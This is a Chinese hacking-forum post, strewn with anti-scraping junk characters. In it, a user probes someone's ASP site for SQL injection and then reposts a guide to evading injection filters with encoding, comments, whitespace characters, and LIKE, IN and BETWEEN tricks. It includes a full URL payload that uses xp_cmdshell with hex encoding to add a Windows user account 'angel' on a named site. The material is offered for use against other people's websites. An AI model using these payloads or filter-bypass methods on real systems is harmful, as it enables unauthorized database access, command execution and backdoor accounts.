路过这个网站,检测了一下.
5 F8 a! |' K. Nhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
% [. w, l2 b- \$ Z" R1 Z直接返回主页% s; L7 T/ a- ?$ {4 ?
http://www.xxx.cn/Article.asp?ID=117 or 1=1
6 U! o7 W* E |& D直接返回主页6 S& z4 v' y7 t; F+ U4 s
http://www.xxx.cn/Article.asp?ID=117 or) [ X. m" h2 a) A+ D& X" a
没有返回主页 没有过滤or" O, V- V! i: M9 b1 K. `8 N
http://www.xxx.cn/Article.asp?ID=117 and% `: C. }/ b: D- ?3 K+ Z* n5 ], \
直接返回主页 看来过滤了and" r' r3 j5 s! U! k
http://www.xxx.cn/Article.asp?ID=117 or 10 t+ ~" W" l7 u; K) ?- @/ f
没有返回主页 即没有过滤or 也没有过滤1
- ]* |* r- l3 f- shttp://www.xxx.cn/Article.asp?ID=117 or 1=1
' Y* M: E) o8 t0 L" p直接返回主页 很明显过滤了等号
7 I. y6 \% n) a/ o8 X3 }* g- jor的特性是与and相反的." ^3 `9 \ ?$ n- s) P0 [& ]
or 1=1 爆错 或与原页面不同
& G$ i) @# j4 `& h- `3 K+ L/ a4 ior 1=2 原页面相同3 H \9 L- B1 B
这样就是一个注入点( I; e5 V, f" M9 X7 u
但他过滤了=号 我就用><号代替=号吧!( k W/ |7 ]; q# e5 V- f; x
or 1<2 很明显是正确的,所以应该与原页面不同
% e( L# m W+ H6 Cor 1>2 很明显是错误的,所以应该与原页面相同; S+ \, B5 E `' a
然后看看有没有过滤其他的查询语句,比如select.5 p+ U) P* ~2 d" i
http://www.xxx.cn/Article.asp?ID=117 select' z, g4 ?- g2 L: P: N! D
直接返回主页( g+ ~5 W5 v" d( J& j' D" A! s! s
又迷茫了.., j% ]6 G* k3 s- `$ D; P
) A! x; k, n/ D# A& E
/ |6 Q7 H$ o/ P4 Ycookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
" V8 [7 j! R, F0 m这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)5 i! W4 ]3 W/ D% S9 }; B
================================================0 @9 o% S9 i4 c* t, E" H* k* W
以下是转贴:7 V2 m( F) f j3 Z% J+ \
1 g1 u; d4 E' F9 j, S" Y: y4 G6 ?突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
- X4 v6 p, Z+ t) L9 r经过我的收集,大部分的防注入程序都过滤了以下关键字:
/ w, n$ z0 e, l* d) p0 yand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = . d- T$ z( E* R2 x# t+ Q
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 # I9 q8 O, [6 A. ` \- ~8 M$ H
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 6 ]" Q/ L+ k$ z" N
1、运用编码技术绕过 ' D! |7 [- w- R' J6 e* l5 q3 K
如URLEncode编码,ASCII编码绕过。例如or 1=1即
5 J8 n a; u+ e. w%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
1 @0 G4 z2 \, H4 ^3 N- {. D: U/ N4 x1 P
2、通过空格绕过 1 i; N; v$ A3 l/ i3 M4 v
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 + _9 f5 |$ F' u1 c) Z
or’ swords’ =‘swords’ % [" j, @7 ]5 W. P
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 / e- Z: c, j( [/ k) x5 B0 N4 O) k' E
3、运用字符串判断代替
$ Z2 [+ M0 }( k8 P9 Q. D用经典的or 1=1判断绕过,如 8 t5 _! G \0 n, J
or ’swords’ =’swords’ ) b0 j4 q) t' r3 N; y
,这个方法就是网上在讨论的。 ( M: M/ A+ U |2 A
4、通过类型转换修饰符N绕过 ; m. U C# W) h! y
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ! G4 @& q" e3 F' L& k, a- m
5、通过+号拆解字符串绕过 0 P; R7 n/ X! K4 ^9 W) T1 [3 P% N7 @
效果值得考证,但毕竟是一种方法。如 & g. h' v. _. x0 ]) `# Y% F# E: g
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
/ D5 _1 ?6 h; ]5 v: }! X0 J" B
/ C8 }6 V2 N; j4 l5 w* Y V& n6、通过LIKE绕过 ) r- f3 S z# M
以前怎么就没想到呢?如or ! c/ {7 ^2 d4 U
’swords’ LIKE ’sw’
, ?6 m* T q, `6 I( D8 A& v!!!显然可以很轻松的绕过
' ~3 p8 q: O: P0 W. ^“=”“>”
: C7 r8 \9 }% L, ~. P的限制……
}. ]# q# a7 g3 A9 _3 G7 W, E7、通过IN绕过
: K) S+ C; i& y2 m1 @与上面的LIKE的思路差不多,如
* _ z! \- G3 l1 {( por ’swords’ IN (’swords’) 9 z4 N0 ?6 R7 I" v
" X. c f% j3 O9 A, q a1 c8、通过BETWEEN绕过
: o2 Y# l' c( H! Q9 K如 ; D& r+ C, _- b! D! t& n/ \' O
or ’swords’ BETWEEN ’rw’ AND ’tw’ 9 ^9 n! A8 ]2 F5 r: P& K
, W) H: [4 b3 _6 k9、通过>或者<绕过 + Q' O7 n% p, s& d1 ^" w
or ’swords’ > ’sw’
) x, Y9 L0 @; yor ’swords’ < ’tw’
9 |3 Y8 I, |" |9 c- F# Sor 1<3
/ ^% v J8 B+ W" L. k# o) `……
2 }. \+ s7 w! a2 ~6 \- f! R10、运用注释语句绕过 + I, F, V# i+ M- I
用/**/代替空格,如:
: B; x" z& Y% lUNION /**/ Select /**/user,pwd,from tbluser
r9 n7 _7 G/ H* b1 X* S6 S5 [2 S
) Q9 Y# Q& x8 g5 p" B7 I8 T用/**/分割敏感词,如:
- ~' H1 w- Z$ D4 `, D1 @: I3 lU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
$ V! h7 q7 Q, K) g9 @3 ^& `/ G, l7 Q7 J$ ?
11、用HEX绕过,一般的IDS都无法检测出来 2 ]$ _ P6 j% f. {
0x730079007300610064006D0069006E00 =hex(sysadmin) ! \5 R/ C: X% ~. V2 W- R
0x640062005F006F0077006E0065007200 =hex(db_owner)
5 B) c" U4 s2 a另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
3 o" k0 g6 L- w. v5 `* ]( O# _ declare @a sysname , L7 L7 K r+ E9 Y7 [
select @a= 7 Z% H0 H3 f8 a% D) y) K
exec master.dbo.xp_cmdshell @a - ^" K/ q. [4 ~0 e# y
效果
4 [# f) U7 m* \' |http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
+ ~$ Y( x, }% F8 `
0 [- n- ^) M3 q) L2 m其中的
2 f* P) V% C; ]5 D. g0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
& \% m, t8 [+ N0 E# |* R就是
- P) ^! `2 F; W" s" j8 m; Y“net user angel pass /add”0 |' i" Y- z' O
0 H8 e- E( q) c J$ z. V p一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
! i; a2 [, J" A% y引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。$ v2 | Y' |: _* N3 ~) {
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似, c- {% V9 @5 j7 Y3 G" Z" E
Copy code
8 m7 C! ]6 i3 ^! wselect * from table exec xp_cmdshell'xxxxxxxxxx'
% a9 I' u/ | c1 @
/ e! T$ y) X! z& X3 A
6 w; T6 a6 S( S, n% e' a* ?" |select * from table/**/exec xp_cmdshell'xxxxxxxxxx', n5 |% h( b# u3 P1 w4 Q& B
: S/ P# g! r# |, S" S4 R0 l
- w0 _! P2 w- q! @
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
) H. |$ c2 E F& v1 l8 Z8 x9 x
6 [! \( a9 p! c2 Y% R
4 E6 V8 _# Y0 h; |4 \0 j& [3 R9 yselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
* }0 t% J2 F- D; J6 {. i0 g% W2 ^7 |/ ^ y, _4 ^, c
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
( O* a! A+ L8 J) L8 R4 F! F; G, m, u G! t. w- ~
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
; r7 \0 v8 v" V' U5 A# n, h B3 }可能大家早就知道了,不管怎么说,发在这里吧!
6 e. B4 K. V( V6 J8 _. g) a
7 E5 e: c7 s% O8 [最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
/ E+ \7 J7 b1 J6 Q/ z/ C! B' z/ r" }! L' p! \
- r! S9 S( v) ]$ J
$ T5 W6 |' T# W* a' S4 P对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,: g5 F Q, p1 W& m) @
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
/ \0 _% m9 V; H# r4 s
; x" J8 P! O: s$ Z: A+ ~% `5 ~ |